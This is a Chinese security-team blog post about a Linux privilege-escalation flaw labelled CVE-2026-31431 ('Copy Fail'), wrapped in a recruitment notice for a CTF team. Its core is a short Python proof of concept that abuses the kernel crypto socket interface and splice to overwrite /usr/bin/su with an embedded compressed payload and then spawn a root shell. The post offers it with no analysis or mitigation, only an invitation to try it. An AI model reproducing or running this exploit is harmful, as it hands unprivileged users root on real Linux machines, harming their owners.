当前位置:首页>Linux>【已复现】炸了!Linux高危漏洞Copy Fail来袭,732字节脚本秒提root (CVE-2026-31431)

【已复现】炸了!Linux高危漏洞Copy Fail来袭,732字节脚本秒提root (CVE-2026-31431)

  • 2026-10-11 18:57:35
【已复现】炸了!Linux高危漏洞Copy Fail来袭,732字节脚本秒提root (CVE-2026-31431)

OnePanada-Sec 招新啦

招新要求

  • 热爱网络安全,喜欢 CTF;

  • 拥有 CTF 比赛经验,有较好比赛成绩的;

  • 乐于奉献、热爱分享,愿意提升自己同时帮助他人;

  • 时间允许参加各类赛事,服从战队管理与安排;

  • 各类比赛获奖者、能力出众者视情况考量;

  • 未参与其他高校联队;

  • 大一同学视情况放宽资历要求。

联系方式

请将个人简历发送至以下邮箱:

简历邮箱:2638726415@qq.com

PART 02

提权漏洞

来源 https://copy.fail/#copy-fail

话不多说,直接上poc

#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

直接在kali上测试,随便打

PART 03

微信QQ交流群

欢迎大家加入[ OnePanda-Sec ] 群聊一起交流 ^ ^

END

最新文章

随机文章